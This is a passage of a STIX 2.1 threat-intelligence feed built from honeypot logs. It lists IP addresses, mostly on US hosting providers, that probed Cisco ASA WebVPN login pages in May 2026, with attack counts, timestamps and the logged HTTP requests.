      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T05:26:01.703Z",
          "last_seen": "2026-05-27T19:36:04.546Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4d11ddc2-50f7-429f-b911-f137c68df481",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.246.57.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T05:26:16.251Z",
          "last_seen": "2026-05-27T22:37:34.876Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--830a7e63-0bbb-4d7c-be2e-1ec7a7992407",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-26T06:14:15.550Z",
          "last_seen": "2026-05-26T14:54:58.016Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f2faec4b-99cd-4acb-abad-c83621e4d0d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.151.115.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T06:14:30.182Z",
          "last_seen": "2026-05-30T08:56:07.054Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--3c83d961-7378-4da0-96ab-b770ffff166f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.35.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T07:06:28.465Z",
          "last_seen": "2026-05-29T09:55:59.883Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8e65347a-059b-4004-a874-fc4dc588ddb4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.238.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-26T06:21:22.540Z",
          "last_seen": "2026-05-29T23:50:16.578Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--6b66b903-3fa4-41a8-b7d9-a99fbfa8b270",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.229.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T06:38:26.245Z",
          "last_seen": "2026-05-26T07:14:38.771Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--09499ca7-1702-4452-b0a9-f0aeefda06c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.170.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T07:14:14.337Z",
          "last_seen": "2026-05-29T16:34:55.297Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--8d5050ef-c608-467b-80c4-82a540fa29fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.50.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T06:38:10.966Z",
          "last_seen": "2026-05-29T12:29:22.043Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--c79cd8cb-1717-45d7-a332-1b377ce2fbb8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.186.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T07:12:18.412Z",
          "last_seen": "2026-05-30T05:30:43.979Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1c4b9152-566b-405e-8f82-38d7d4cd1684",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-20T21:54:03.322Z",
          "last_seen": "2026-05-29T16:17:57.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--2ecbb5b5-31a3-4fa5-9fc2-1f08d2b25b12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.152.138.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T06:38:42.443Z",
          "last_seen": "2026-05-26T06:38:57.484Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--38ebe51d-9688-4fae-ace9-2b3aee1d37f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.44.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:20:10.000Z",
      "valid_until": "2026-06-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T06:41:34.147Z",
          "last_seen": "2026-05-29T19:17:05.013Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--874f354d-dedd-4557-aa8a-02a2a4f848dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.115.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-26T07:21:47.254Z",
          "last_seen": "2026-05-26T07:21:56.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--8f4e6a81-1359-499b-8351-273db802ae8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.128.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T08:00:00.319Z",
          "last_seen": "2026-05-27T05:10:37.871Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f0d64572-11e9-4bc4-834b-69e7613ecf0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.236.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T08:16:09.949Z",
          "last_seen": "2026-05-27T21:36:28.622Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--b5a205be-88ec-4996-89be-d07eb0e9d378",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.77.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T07:37:26.369Z",
          "last_seen": "2026-05-27T12:02:58.189Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--3d9c791b-2406-4f42-877b-4e92dd129abc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.168.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T07:33:10.882Z",
          "last_seen": "2026-05-27T10:25:30.151Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--9e51914f-c1e3-42ba-a495-d9d9e688d1d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.175.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T07:50:55.059Z",
          "last_seen": "2026-05-29T13:02:01.949Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--146be06c-8bea-4a2b-b043-0082b95427d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.17.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T07:46:39.068Z",
          "last_seen": "2026-05-31T04:27:56.314Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
